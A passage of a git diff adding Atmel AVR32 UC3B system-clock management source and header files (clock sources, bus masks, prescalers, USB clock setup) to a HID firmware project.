NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ +#include +#include +#include +#include +#include + + +/** + * \weakgroup sysclk_group + * @{ + */ + +#if ((CONFIG_SYSCLK_CPU_DIV > CONFIG_SYSCLK_PBA_DIV) || \ + (CONFIG_SYSCLK_CPU_DIV > CONFIG_SYSCLK_PBB_DIV)) +# error CONFIG_SYSCLK_PBx_DIV must be equal to or more than CONFIG_SYSCLK_CPU_DIV. +#endif + +/** + * \internal + * \defgroup sysclk_internals_group System Clock internals + * + * System clock management is fairly straightforward apart from one + * thing: Enabling and disabling bus bridges. When all peripherals on a + * given bus are disabled, the bridge to the bus may be disabled. Only + * the PBA and PBB busses support this, and it is not practical to + * disable the PBA bridge as it includes the Power Manager, so turning + * it off would make it impossible to turn anything back on again. + * + * The system clock implementation keeps track of a reference count for + * PBB. When the reference count is zero, the bus bridge is disabled, otherwise + * it is enabled. + * + * @{ + */ + +/** + * \internal + * \name Initial module clock masks + * + * These are the mask values written to the xxxMASK registers during + * initialization if the user has overriden the default behaviour of all clocks + * left enabled. These values assume that: + * - Debugging should be possible + * - The program may be running from flash + * - The PM should be available to unmask other clocks + * - All on-chip RAM should be available + * - INTC, PM and GPIO are made permanently available for now; this + * may change in the future. + */ +//@{ +//! \internal +//! \brief Initial value of CPUMASK +#define SYSCLK_INIT_MINIMAL_CPUMASK \ + ((1 << SYSCLK_OCD) | (1 << SYSCLK_SYSTIMER)) +//! \internal +//! \brief Initial value of HSBMASK +#define SYSCLK_INIT_MINIMAL_HSBMASK \ + ((1 << SYSCLK_FLASHC_DATA) \ + | (1 << SYSCLK_PBA_BRIDGE)) +//! \internal +//! \brief Initial value of PBAMASK +#define SYSCLK_INIT_MINIMAL_PBAMASK \ + ((1 << SYSCLK_INTC) \ + | (1 << SYSCLK_GPIO) \ + | (1 << SYSCLK_PM)) +//! \internal +//! \brief Initial value of PBBMASK +#define SYSCLK_INIT_MINIMAL_PBBMASK 0 +//@} + +/** + * \internal + * \brief Number of enabled peripherals on the PBB bus. + */ +static uint8_t sysclk_pbb_refcount; + +#if defined(CONFIG_SYSCLK_DEFAULT_RETURNS_SLOW_OSC) +/** + * \brief boolean signaling that the sysclk_init is done. + */ +bool sysclk_initialized = false; +#endif + +/** + * \internal + * \brief Enable a maskable module clock. + * \param bus_id Bus index, given by the \c AVR32_PM_CLK_GRP_xxx definitions. + * \param module_index Index of the module to be enabled. This is the + * bit number in the corresponding xxxMASK register. + */ +void sysclk_priv_enable_module(unsigned int bus_id, unsigned int module_index) +{ + irqflags_t flags; + uint32_t mask; + + flags = cpu_irq_save(); + + /* + * Poll MSKRDY before changing mask rather than after, as it's + * highly unlikely to actually be cleared at this point. + */ + while (!(AVR32_PM.poscsr & (1U << AVR32_PM_POSCSR_MSKRDY))) { + /* Do nothing */ + } + + /* Enable the clock */ + mask = *(&AVR32_PM.cpumask + bus_id); + mask |= 1U << module_index; + *(&AVR32_PM.cpumask + bus_id) = mask; + + cpu_irq_restore(flags); +} + +/** + * \internal + * \brief Disable a maskable module clock. + * \param bus_id Bus index, given by the \c AVR32_PM_CLK_GRP_xxx definitions. + * \param module_index Index of the module to be disabled. This is the + * bit number in the corresponding xxxMASK register. + */ +void sysclk_priv_disable_module(unsigned int bus_id, unsigned int module_index) +{ + irqflags_t flags; + uint32_t mask; + + flags = cpu_irq_save(); + + /* + * Poll MSKRDY before changing mask rather than after, as it's + * highly unlikely to actually be cleared at this point. + */ + while (!(AVR32_PM.poscsr & (1U << AVR32_PM_POSCSR_MSKRDY))) { + /* Do nothing */ + } + + /* Disable the clock */ + mask = *(&AVR32_PM.cpumask + bus_id); + mask &= ~(1U << module_index); + *(&AVR32_PM.cpumask + bus_id) = mask; + + cpu_irq_restore(flags); +} + +//! @} + +/** + * \brief Enable a module clock derived from the PBB clock + * \param index Index of the module clock in the PBBMASK register + */ +void sysclk_enable_pbb_module(unsigned int index) +{ + irqflags_t flags; + + /* Enable the bridge if necessary */ + flags = cpu_irq_save(); + + if (!sysclk_pbb_refcount) + sysclk_enable_hsb_module(SYSCLK_PBB_BRIDGE); + sysclk_pbb_refcount++; + + cpu_irq_restore(flags); + + /* Enable the module */ + sysclk_priv_enable_module(AVR32_PM_CLK_GRP_PBB, index); +} + +/** + * \brief Disable a module clock derived from the PBB clock + * \param index Index of the module clock in the PBBMASK register + */ +void sysclk_disable_pbb_module(unsigned int index) +{ + irqflags_t flags; + + /* Disable the module */ + sysclk_priv_disable_module(AVR32_PM_CLK_GRP_PBB, index); + + /* Disable the bridge if possible */ + flags = cpu_irq_save(); + + sysclk_pbb_refcount--; + if (!sysclk_pbb_refcount) + sysclk_disable_hsb_module(SYSCLK_PBB_BRIDGE); + + cpu_irq_restore(flags); +} + +#if defined(CONFIG_USBCLK_SOURCE) || defined(__DOXYGEN__) +/** + * \brief Enable the USB generic clock + * + * \pre The USB generick clock must be configurated to 48MHz. + * CONFIG_USBCLK_SOURCE and CONFIG_USBCLK_DIV must be defined with proper + * configuration. The selected clock source must also be configured. + */ +void sysclk_enable_usb(void) +{ + struct genclk_config gcfg; + + sysclk_enable_pbb_module(SYSCLK_USBB_REGS); + sysclk_enable_hsb_module(SYSCLK_USBB_DATA); + genclk_config_defaults(&gcfg, AVR32_PM_GCLK_USBB); + + /* + * Switch to the system clock selected by the user. + */ + switch (CONFIG_USBCLK_SOURCE) { +#ifdef BOARD_OSC0_HZ + case USBCLK_SRC_OSC0: + osc_enable(0); + osc_wait_ready(0); + genclk_config_set_source(&gcfg, GENCLK_SRC_OSC0); + break; +#endif + +#ifdef CONFIG_PLL0_SOURCE + case USBCLK_SRC_PLL0: { + struct pll_config pllcfg; + + osc_enable(CONFIG_PLL0_SOURCE); + osc_wait_ready(CONFIG_PLL0_SOURCE); + + pll_config_defaults(&pllcfg, 0); + pll_enable(&pllcfg, 0); + pll_wait_for_lock(0); + genclk_config_set_source(&gcfg, GENCLK_SRC_PLL0); + break; + } +#endif + +#ifdef CONFIG_PLL1_SOURCE + case USBCLK_SRC_PLL1: { + struct pll_config pllcfg; + + osc_enable(CONFIG_PLL1_SOURCE); + osc_wait_ready(CONFIG_PLL1_SOURCE); + + pll_config_defaults(&pllcfg, 1); + pll_enable(&pllcfg, 1); + pll_wait_for_lock(1); + genclk_config_set_source(&gcfg, GENCLK_SRC_PLL1); + break; + } +#endif + + default: + /* unhandled_case(CONFIG_SYSCLK_SOURCE); */ + break; + } + + genclk_config_set_divider(&gcfg, CONFIG_USBCLK_DIV); + genclk_enable(&gcfg, AVR32_PM_GCLK_USBB); +} + +/** + * \brief Disable the USB generic clock + */ +void sysclk_disable_usb(void) +{ + genclk_disable(AVR32_PM_GCLK_USBB); + sysclk_disable_hsb_module(SYSCLK_USBB_DATA); + sysclk_disable_pbb_module(SYSCLK_USBB_REGS); +} +#endif // CONFIG_USBCLK_SOURCE + + +void sysclk_init(void) +{ +#if (CONFIG_SYSCLK_PBA_DIV < CONFIG_SYSCLK_CPU_DIV) +#error Wrong CONFIG_SYSCLK_PBA_DIV & CONFIG_SYSCLK_CPU_DIV settings +#endif + + /* Set up system clock dividers if different from defaults */ + if ((CONFIG_SYSCLK_CPU_DIV > 0) || (CONFIG_SYSCLK_PBA_DIV > 0) || + (CONFIG_SYSCLK_PBB_DIV > 0)) { + sysclk_set_prescalers(CONFIG_SYSCLK_CPU_DIV, + CONFIG_SYSCLK_PBA_DIV, + CONFIG_SYSCLK_PBB_DIV); + } + + /* + * Switch to the system clock selected by the user. + */ + switch (CONFIG_SYSCLK_SOURCE) { + case SYSCLK_SRC_RCSYS: + /* Already running from RCOSC */ + break; + +#ifdef BOARD_OSC0_HZ + case SYSCLK_SRC_OSC0: + osc_enable(0); + osc_wait_ready(0); + // Set a flash wait state depending on the new cpu frequency. + flash_set_bus_freq(BOARD_OSC0_HZ); + sysclk_set_source(SYSCLK_SRC_OSC0); + break; +#endif + +#ifdef CONFIG_PLL0_SOURCE + case SYSCLK_SRC_PLL0: { + struct pll_config pllcfg; + + osc_enable(CONFIG_PLL0_SOURCE); + osc_wait_ready(CONFIG_PLL0_SOURCE); + + pll_config_defaults(&pllcfg, 0); + pll_enable(&pllcfg, 0); + pll_wait_for_lock(0); + // Set a flash wait state depending on the new cpu frequency. + flash_set_bus_freq(sysclk_get_main_hz()); + sysclk_set_source(SYSCLK_SRC_PLL0); + break; + } +#endif + + default: + /* unhandled_case(CONFIG_SYSCLK_SOURCE); */ + break; + } + + /* If the user has specified clock masks, enable only requested clocks */ +#if defined(CONFIG_SYSCLK_INIT_CPUMASK) + AVR32_PM.cpumask = SYSCLK_INIT_MINIMAL_CPUMASK | CONFIG_SYSCLK_INIT_CPUMASK; +#endif +#if defined(CONFIG_SYSCLK_INIT_PBAMASK) + AVR32_PM.pbamask = SYSCLK_INIT_MINIMAL_PBAMASK | CONFIG_SYSCLK_INIT_PBAMASK; +#endif +#if defined(CONFIG_SYSCLK_INIT_PBBMASK) + AVR32_PM.pbbmask = SYSCLK_INIT_MINIMAL_PBBMASK | CONFIG_SYSCLK_INIT_PBBMASK; +#endif +#if defined(CONFIG_SYSCLK_INIT_HSBMASK) + AVR32_PM.hsbmask = SYSCLK_INIT_MINIMAL_HSBMASK | CONFIG_SYSCLK_INIT_HSBMASK; +#endif + +#if (defined CONFIG_SYSCLK_DEFAULT_RETURNS_SLOW_OSC) + /* Signal that the internal frequencies are setup */ + sysclk_initialized = true; +#endif +} + +//! @} diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/uc3b0_b1/sysclk.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/uc3b0_b1/sysclk.h new file mode 100755 index 0000000..34f3cda --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/uc3b0_b1/sysclk.h @@ -0,0 +1,766 @@ +/** + * \file + * + * \brief Chip-specific system clock management functions + * + * Copyright (C) 2010 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ +#ifndef CHIP_SYSCLK_H_INCLUDED +#define CHIP_SYSCLK_H_INCLUDED + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * \weakgroup sysclk_group + * @{ + */ + +//! \name System Clock Sources +//@{ +#define SYSCLK_SRC_RCSYS 0 //!< Use slow clock as main clock +#define SYSCLK_SRC_OSC0 1 //!< Use OSC0 as main clock +#define SYSCLK_SRC_PLL0 2 //!< Use PLL0 as main clock +//@} + +//! \name USB Clock Sources +//@{ +#define USBCLK_SRC_OSC0 0 //!< Use OSC0 +#define USBCLK_SRC_PLL0 1 //!< Use PLL0 +#define USBCLK_SRC_PLL1 2 //!< Use PLL1 +//@} + + +//! \name Clocks derived from the CPU clock +//@{ +#define SYSCLK_OCD AVR32_OCD_CLK_CPU //!< On-Chip Debug system +#define SYSCLK_SYSTIMER AVR32_CORE_CLK_CPU_COUNT //!< COUNT/COMPARE registers +//@} + +//! \name Clocks derived from the HSB clock +//@{ +//! Flash data interface +#define SYSCLK_FLASHC_DATA (AVR32_FLASHC_CLK_HSB % 32) +//! HSB<->PBA bridge +#define SYSCLK_PBA_BRIDGE (AVR32_HMATRIX_CLK_HSB_PBA_BRIDGE % 32) +//! HSB<->PBB bridge +#define SYSCLK_PBB_BRIDGE (AVR32_HMATRIX_CLK_HSB_PBB_BRIDGE % 32) +//! USBB DMA and FIFO interface +#define SYSCLK_USBB_DATA (AVR32_USBB_CLK_HSB % 32) +//! PDCA memory interface +#define SYSCLK_PDCA_HSB (AVR32_PDCA_CLK_HSB % 32) +//@} + +//! \name Clocks derived from the PBA clock +//@{ +//! Internal interrupt controller +#define SYSCLK_INTC (AVR32_INTC_CLK_PBA % 32) +//! General-Purpose I/O +#define SYSCLK_GPIO (AVR32_GPIO_CLK_PBA % 32) +//! PDCA peripheral bus interface +#define SYSCLK_PDCA_PB (AVR32_PDCA_CLK_PBA % 32) +//! PM/RTC/EIM configuration +#define SYSCLK_PM (AVR32_PM_CLK_PBA % 32) +//! A/D Converter +#define SYSCLK_ADC (AVR32_ADC_CLK_PBA % 32) +//! SPI Controller 0 +#define SYSCLK_SPI (AVR32_SPI_CLK_PBA % 32) +//! TWI Controller +#define SYSCLK_TWI (AVR32_TWI_CLK_PBA % 32) +//! USART 0 +#define SYSCLK_USART0 (AVR32_USART0_CLK_PBA % 32) +//! USART 1 +#define SYSCLK_USART1 (AVR32_USART1_CLK_PBA % 32) +//! USART 2 +#define SYSCLK_USART2 (AVR32_USART2_CLK_PBA % 32) +//! PWM +#define SYSCLK_PWM (AVR32_PWM_CLK_PBA % 32) +//! Synchronous Serial Controller +#define SYSCLK_SSC (AVR32_SSC_CLK_PBA % 32) +//! Timer/Counter +#define SYSCLK_TC (AVR32_TC_CLK_PBA % 32) +//! D/A Converter +#define SYSCLK_DAC (AVR32_ABDAC_CLK_PBA % 32) +//@} + +//! \name Clocks derived from the PBB clock +//@{ +//! HSB Matrix configuration +#define SYSCLK_HMATRIX (AVR32_HMATRIX_CLK_PBB % 32) +//! USBB registers +#define SYSCLK_USBB_REGS (AVR32_USBB_CLK_PBB % 32) +//! Flash Controller registers +#define SYSCLK_FLASHC_REGS (AVR32_FLASHC_CLK_PBB % 32) +//@} + +#ifndef __ASSEMBLY__ + +#include +#include +#include +#include + +// Use the slow clock (RCOSC) with no prescaling if config was empty. +#ifndef CONFIG_SYSCLK_SOURCE +# define CONFIG_SYSCLK_SOURCE SYSCLK_SRC_RCSYS +#endif /* CONFIG_SYSCLK_SOURCE */ + +/** + * \def CONFIG_SYSCLK_CPU_DIV + * \brief Configuration symbol for dividing the CPU clock frequency by + * \f$2^{CONFIG\_SYSCLK\_CPU\_DIV}\f$ + * + * If this symbol is not defined, the CPU clock frequency is not divided. + * + * This symbol may be defined in \ref conf_clock.h. + */ +#ifndef CONFIG_SYSCLK_CPU_DIV +# define CONFIG_SYSCLK_CPU_DIV 0 +#endif /* CONFIG_SYSCLK_CPU_DIV */ + +/** + * \def CONFIG_SYSCLK_INIT_HSBMASK + * \brief Configuration symbol for the HSB clocks enabled at power-on after the + * sysclock module has been initialized. By default, all HSB clocks are left + * enabled, however to save power these can be automatically disabled by defining + * this value to a mask of \c SYSCLOCK_xxx settings. + * + * If this symbol is not defined, then all HSB clocks are left enabled. + * + * This symbol may be defined in \ref conf_clock.h. + */ +#ifdef __DOXYGEN__ +# define CONFIG_SYSCLK_INIT_HSBMASK +#endif + +/** + * \def CONFIG_SYSCLK_PBA_DIV + * \brief Configuration symbol for dividing the PBA clock frequency by + * \f$2^{CONFIG\_SYSCLK\_PBA\_DIV}\f$ + * + * If this symbol is not defined, the PBA clock frequency is not divided. + * + * This symbol may be defined in \ref conf_clock.h. + */ +#ifndef CONFIG_SYSCLK_PBA_DIV +# define CONFIG_SYSCLK_PBA_DIV 0 +#endif /* CONFIG_SYSCLK_PBA_DIV */ + +/** + * \def CONFIG_SYSCLK_PBB_DIV + * \brief Configuration symbol for dividing the PBA clock frequency by + * \f$2^{CONFIG\_SYSCLK\_PBB\_DIV}\f$ + * + * If this symbol is not defined, the PBA clock frequency is not divided. + * + * This symbol may be defined in \ref conf_clock.h. + */ +#ifndef CONFIG_SYSCLK_PBB_DIV +# define CONFIG_SYSCLK_PBB_DIV 0 +#endif /* CONFIG_SYSCLK_PBB_DIV */ + +/** + * \def CONFIG_SYSCLK_INIT_CPUMASK + * \brief Configuration symbol for the CPU clocks enabled at power-on after the + * sysclock module has been initialized. By default, all CPU clocks are left + * enabled, however to save power these can be automatically disabled by defining + * this value to a mask of \c SYSCLOCK_xxx settings. + * + * If this symbol is not defined, then all CPU clocks are left enabled. + * + * This symbol may be defined in \ref conf_clock.h. + */ +#ifdef __DOXYGEN__ +# define CONFIG_SYSCLK_INIT_CPUMASK +#endif + +/** + * \def CONFIG_SYSCLK_INIT_PBAMASK + * \brief Configuration symbol for the PBA clocks enabled at power-on after the + * sysclock module has been initialized. By default, all PBA clocks are left + * enabled, however to save power these can be automatically disabled by defining + * this value to a mask of \c SYSCLOCK_xxx settings. + * + * If this symbol is not defined, then all PBA clocks are left enabled. + * + * This symbol may be defined in \ref conf_clock.h. + */ +#ifdef __DOXYGEN__ +# define CONFIG_SYSCLK_INIT_PBAMASK +#endif + +/** + * \def CONFIG_SYSCLK_INIT_PBBMASK + * \brief Configuration symbol for the PBB clocks enabled at power-on after the + * sysclock module has been initialized. By default, all PBB clocks are left + * enabled, however to save power these can be automatically disabled by defining + * this value to a mask of \c SYSCLOCK_xxx settings. + * + * If this symbol is not defined, then all PBB clocks are left enabled. + * + * This symbol may be defined in \ref conf_clock.h. + */ +#ifdef __DOXYGEN__ +# define CONFIG_SYSCLK_INIT_PBBMASK +#endif + +/** + * \def CONFIG_USBCLK_SOURCE + * \brief Configuration symbol for the USB generic clock source + * + * Sets the clock source to use for the USB. The source must also be properly + * configured. + * + * Define this to one of the \c USBCLK_SRC_xxx settings. Leave it undefined if + * USB is not required. + */ +#ifdef __DOXYGEN__ +# define CONFIG_USBCLK_SOURCE +#endif + +/** + * \def CONFIG_USBCLK_DIV + * \brief Configuration symbol for the USB generic clock divider setting + * + * Sets the clock division for the USB generic clock. If a USB clock source is + * selected with CONFIG_USBCLK_SOURCE, this configuration symbol must also be + * defined. + * + * Define this as any value that does not exceed \c GENCLK_DIV_MAX, and which + * will give a 48 MHz clock frequency from the selected source. + */ +#ifdef __DOXYGEN__ +# define CONFIG_USBCLK_DIV +#endif + +/** + * \name Querying the system clock and its derived clocks + * + * The following functions may be used to query the current frequency of + * the system clock and the CPU and bus clocks derived from it. + * sysclk_get_main_hz() and sysclk_get_cpu_hz() can be assumed to be + * available on all platforms, although some platforms may define + * additional accessors for various chip-internal bus clocks. These are + * usually not intended to be queried directly by generic code. + */ +//@{ + +/** + * \brief Return the current rate in Hz of the main system clock + * + * \todo This function assumes that the main clock source never changes + * once it's been set up, and that PLL0 always runs at the compile-time + * configured default rate. While this is probably the most common + * configuration, which we want to support as a special case for + * performance reasons, we will at some point need to support more + * dynamic setups as well. + */ +#if (defined CONFIG_SYSCLK_DEFAULT_RETURNS_SLOW_OSC) +extern bool sysclk_initialized; +#endif +static inline uint32_t sysclk_get_main_hz(void) +{ +#if (defined CONFIG_SYSCLK_DEFAULT_RETURNS_SLOW_OSC) + if (!sysclk_initialized ) { + return OSC_SLOW_NOMINAL_HZ; + } +#endif + + switch (CONFIG_SYSCLK_SOURCE) { + case SYSCLK_SRC_RCSYS: + return OSC_SLOW_NOMINAL_HZ; + +#ifdef BOARD_OSC0_HZ + case SYSCLK_SRC_OSC0: + return BOARD_OSC0_HZ; +#endif + +#ifdef CONFIG_PLL0_SOURCE + case SYSCLK_SRC_PLL0: + return pll_get_default_rate(0); +#endif + + default: + /* unhandled_case(CONFIG_SYSCLK_SOURCE); */ + return 0; + } +} + +/** + * \brief Return the current rate in Hz of the CPU clock + * + * \todo This function assumes that the CPU always runs at the system + * clock frequency. We want to support at least two more scenarios: + * Fixed CPU/bus clock dividers (config symbols) and dynamic CPU/bus + * clock dividers (which may change at run time). Ditto for all the bus + * clocks. + * + * \return Frequency of the CPU clock, in Hz. + */ +static inline uint32_t sysclk_get_cpu_hz(void) +{ + return sysclk_get_main_hz() >> CONFIG_SYSCLK_CPU_DIV; +} + +/** + * \brief Return the current rate in Hz of the High-Speed Bus clock + * + * \return Frequency of the High Speed Peripheral Bus clock, in Hz. + */ +static inline uint32_t sysclk_get_hsb_hz(void) +{ + return sysclk_get_main_hz() >> CONFIG_SYSCLK_CPU_DIV; +} + +/** + * \brief Return the current rate in Hz of the Peripheral Bus A clock + * + * \return Frequency of the Peripheral Bus A clock, in Hz. + */ +static inline uint32_t sysclk_get_pba_hz(void) +{ + return sysclk_get_main_hz() >> CONFIG_SYSCLK_PBA_DIV; +} + +/** + * \brief Return the current rate in Hz of the Peripheral Bus B clock + * + * \return Frequency of the Peripheral Bus B clock, in Hz. + */ +static inline uint32_t sysclk_get_pbb_hz(void) +{ + return sysclk_get_main_hz() >> CONFIG_SYSCLK_CPU_DIV; +} + +/** + * \brief Retrieves the current rate in Hz of the Peripheral Bus clock attached + * to the specified peripheral. + * + * \param module Pointer to the module's base address. + * + * \return Frequency of the bus attached to the specified peripheral, in Hz. + */ +static inline uint32_t sysclk_get_peripheral_bus_hz(const volatile void *module) +{ + /* Fallthroughs intended for modules sharing the same peripheral bus. */ + switch ((uintptr_t)module) { + case AVR32_INTC_ADDRESS: + case AVR32_GPIO_ADDRESS: + case AVR32_PDCA_ADDRESS: + case AVR32_PM_ADDRESS: + case AVR32_ADC_ADDRESS: + case AVR32_SPI_ADDRESS: + case AVR32_TWI_ADDRESS: + case AVR32_USART0_ADDRESS: + case AVR32_USART1_ADDRESS: + case AVR32_USART2_ADDRESS: + case AVR32_PWM_ADDRESS: +#if defined(AVR32_SSC) + case AVR32_SSC_ADDRESS: +#endif + case AVR32_TC_ADDRESS: +#if defined(AVR32_ABDAC) + case AVR32_ABDAC_ADDRESS: +#endif + return sysclk_get_pba_hz(); + + case AVR32_HMATRIX_ADDRESS: + case AVR32_USBB_ADDRESS: + case AVR32_FLASHC_ADDRESS: + return sysclk_get_pbb_hz(); + + default: + Assert(false); + return 0; + } +} + +//@} + +extern void sysclk_priv_enable_module(unsigned int bus_id, + unsigned int module_index); +extern void sysclk_priv_disable_module(unsigned int bus_id, + unsigned int module_index); + +//! \name Enabling and disabling synchronous clocks +//@{ + +/** + * \brief Enable a module clock derived from the CPU clock + * \param index Index of the module clock in the CPUMASK register + */ +static inline void sysclk_enable_cpu_module(unsigned int index) +{ + sysclk_priv_enable_module(AVR32_PM_CLK_GRP_CPU, index); +} + +/** + * \brief Disable a module clock derived from the CPU clock + * \param index Index of the module clock in the CPUMASK register + */ +static inline void sysclk_disable_cpu_module(unsigned int index) +{ + sysclk_priv_disable_module(AVR32_PM_CLK_GRP_CPU, index); +} + +/** + * \brief Enable a module clock derived from the HSB clock + * \param index Index of the module clock in the HSBMASK register + */ +static inline void sysclk_enable_hsb_module(unsigned int index) +{ + sysclk_priv_enable_module(AVR32_PM_CLK_GRP_HSB, index); +} + +/** + * \brief Disable a module clock derived from the HSB clock + * \param index Index of the module clock in the HSBMASK register + */ +static inline void sysclk_disable_hsb_module(unsigned int index) +{ + sysclk_priv_disable_module(AVR32_PM_CLK_GRP_HSB, index); +} + +/** + * \brief Enable a module clock derived from the PBA clock + * \param index Index of the module clock in the PBAMASK register + */ +static inline void sysclk_enable_pba_module(unsigned int index) +{ + sysclk_priv_enable_module(AVR32_PM_CLK_GRP_PBA, index); +} + +/** + * \brief Disable a module clock derived from the PBA clock + * \param index Index of the module clock in the PBAMASK register + */ +static inline void sysclk_disable_pba_module(unsigned int index) +{ + sysclk_priv_disable_module(AVR32_PM_CLK_GRP_PBA, index); +} + +extern void sysclk_enable_pbb_module(unsigned int index); +extern void sysclk_disable_pbb_module(unsigned int index); + +/** + * \brief Enable a peripheral's clock from its base address. + * + * Enables the clock to a peripheral, given its base address. If the peripheral + * has an associated clock on the HSB bus, this will be enabled also. + * + * \param module Pointer to the module's base address. + */ +static inline void sysclk_enable_peripheral_clock(const volatile void *module) +{ + switch ((uintptr_t)module) { + case AVR32_INTC_ADDRESS: + sysclk_enable_pba_module(SYSCLK_INTC); + break; + + case AVR32_GPIO_ADDRESS: + sysclk_enable_pba_module(SYSCLK_GPIO); + break; + + case AVR32_PDCA_ADDRESS: + sysclk_enable_hsb_module(SYSCLK_PDCA_HSB); + sysclk_enable_pba_module(SYSCLK_PDCA_PB); + break; + + case AVR32_PM_ADDRESS: + sysclk_enable_pba_module(SYSCLK_PM); + break; + + case AVR32_ADC_ADDRESS: + sysclk_enable_pba_module(SYSCLK_ADC); + break; + + case AVR32_SPI_ADDRESS: + sysclk_enable_pba_module(SYSCLK_SPI); + break; + + case AVR32_TWI_ADDRESS: + sysclk_enable_pba_module(SYSCLK_TWI); + break; + + case AVR32_USART0_ADDRESS: + sysclk_enable_pba_module(SYSCLK_USART0); + break; + + case AVR32_USART1_ADDRESS: + sysclk_enable_pba_module(SYSCLK_USART1); + break; + + case AVR32_USART2_ADDRESS: + sysclk_enable_pba_module(SYSCLK_USART2); + break; + + case AVR32_PWM_ADDRESS: + sysclk_enable_pba_module(SYSCLK_PWM); + break; + +#if defined(AVR32_SSC) + case AVR32_SSC_ADDRESS: + sysclk_enable_pba_module(SYSCLK_SSC); + break; +#endif + + case AVR32_TC_ADDRESS: + sysclk_enable_pba_module(SYSCLK_TC); + break; + +#if defined(AVR32_ABDAC) + case AVR32_ABDAC_ADDRESS: + sysclk_enable_pba_module(SYSCLK_DAC); + break; +#endif + + case AVR32_HMATRIX_ADDRESS: + sysclk_enable_pbb_module(SYSCLK_HMATRIX); + break; + + case AVR32_USBB_ADDRESS: + sysclk_enable_hsb_module(SYSCLK_USBB_DATA); + sysclk_enable_pbb_module(SYSCLK_USBB_REGS); + break; + + case AVR32_FLASHC_ADDRESS: + sysclk_enable_hsb_module(SYSCLK_FLASHC_DATA); + sysclk_enable_pbb_module(SYSCLK_FLASHC_REGS); + break; + + default: + Assert(false); + return; + } +} + +/** + * \brief Disable a peripheral's clock from its base address. + * + * Disables the clock to a peripheral, given its base address. If the peripheral + * has an associated clock on the HSB bus, this will be disabled also. + * + * \param module Pointer to the module's base address. + */ +static inline void sysclk_disable_peripheral_clock(const volatile void *module) +{ + switch ((uintptr_t)module) { + case AVR32_INTC_ADDRESS: + sysclk_disable_pba_module(SYSCLK_INTC); + break; + + case AVR32_GPIO_ADDRESS: + sysclk_disable_pba_module(SYSCLK_GPIO); + break; + + case AVR32_PDCA_ADDRESS: + sysclk_disable_hsb_module(SYSCLK_PDCA_HSB); + sysclk_disable_pba_module(SYSCLK_PDCA_PB); + break; + + case AVR32_PM_ADDRESS: + sysclk_disable_pba_module(SYSCLK_PM); + break; + + case AVR32_ADC_ADDRESS: + sysclk_disable_pba_module(SYSCLK_ADC); + break; + + case AVR32_SPI_ADDRESS: + sysclk_disable_pba_module(SYSCLK_SPI); + break; + + case AVR32_TWI_ADDRESS: + sysclk_disable_pba_module(SYSCLK_TWI); + break; + + case AVR32_USART0_ADDRESS: + sysclk_disable_pba_module(SYSCLK_USART0); + break; + + case AVR32_USART1_ADDRESS: + sysclk_disable_pba_module(SYSCLK_USART1); + break; + + case AVR32_USART2_ADDRESS: + sysclk_disable_pba_module(SYSCLK_USART2); + break; + + case AVR32_PWM_ADDRESS: + sysclk_disable_pba_module(SYSCLK_PWM); + break; + +#if defined(AVR32_SSC) + case AVR32_SSC_ADDRESS: + sysclk_disable_pba_module(SYSCLK_SSC); + break; +#endif + + case AVR32_TC_ADDRESS: + sysclk_disable_pba_module(SYSCLK_TC); + break; + +#if defined(AVR32_ABDAC) + case AVR32_ABDAC_ADDRESS: + sysclk_disable_pba_module(SYSCLK_DAC); + break; +#endif + + case AVR32_HMATRIX_ADDRESS: + sysclk_disable_pbb_module(SYSCLK_HMATRIX); + break; + + case AVR32_USBB_ADDRESS: + sysclk_disable_hsb_module(SYSCLK_USBB_DATA); + sysclk_disable_pbb_module(SYSCLK_USBB_REGS); + break; + + case AVR32_FLASHC_ADDRESS: + sysclk_disable_hsb_module(SYSCLK_FLASHC_DATA); + sysclk_disable_pbb_module(SYSCLK_FLASHC_REGS); + break; + + default: + Assert(false); + return; + } +} + +//@} + +//! \name System Clock Source and Prescaler configuration +//@{ + +/** + * \brief Set system clock prescaler configuration + * + * This function will change the system clock prescaler configuration to + * match the parameters. + * + * \note The parameters to this function are device-specific. + * + * \param cpu_shift The CPU clock will be divided by \f$2^{cpu\_shift}\f$ + * \param pba_shift The PBA clock will be divided by \f$2^{pba\_shift}\f$ + * \param pbb_shift The PBB clock will be divided by \f$2^{pbb\_shift}\f$ + */ +static inline void sysclk_set_prescalers(unsigned int cpu_shift, + unsigned int pba_shift, unsigned int pbb_shift) +{ + uint32_t cksel = 0; + + Assert(cpu_shift <= pba_shift); + Assert(cpu_shift <= pbb_shift); + + if (cpu_shift > 0) + cksel = ((cpu_shift - 1) << 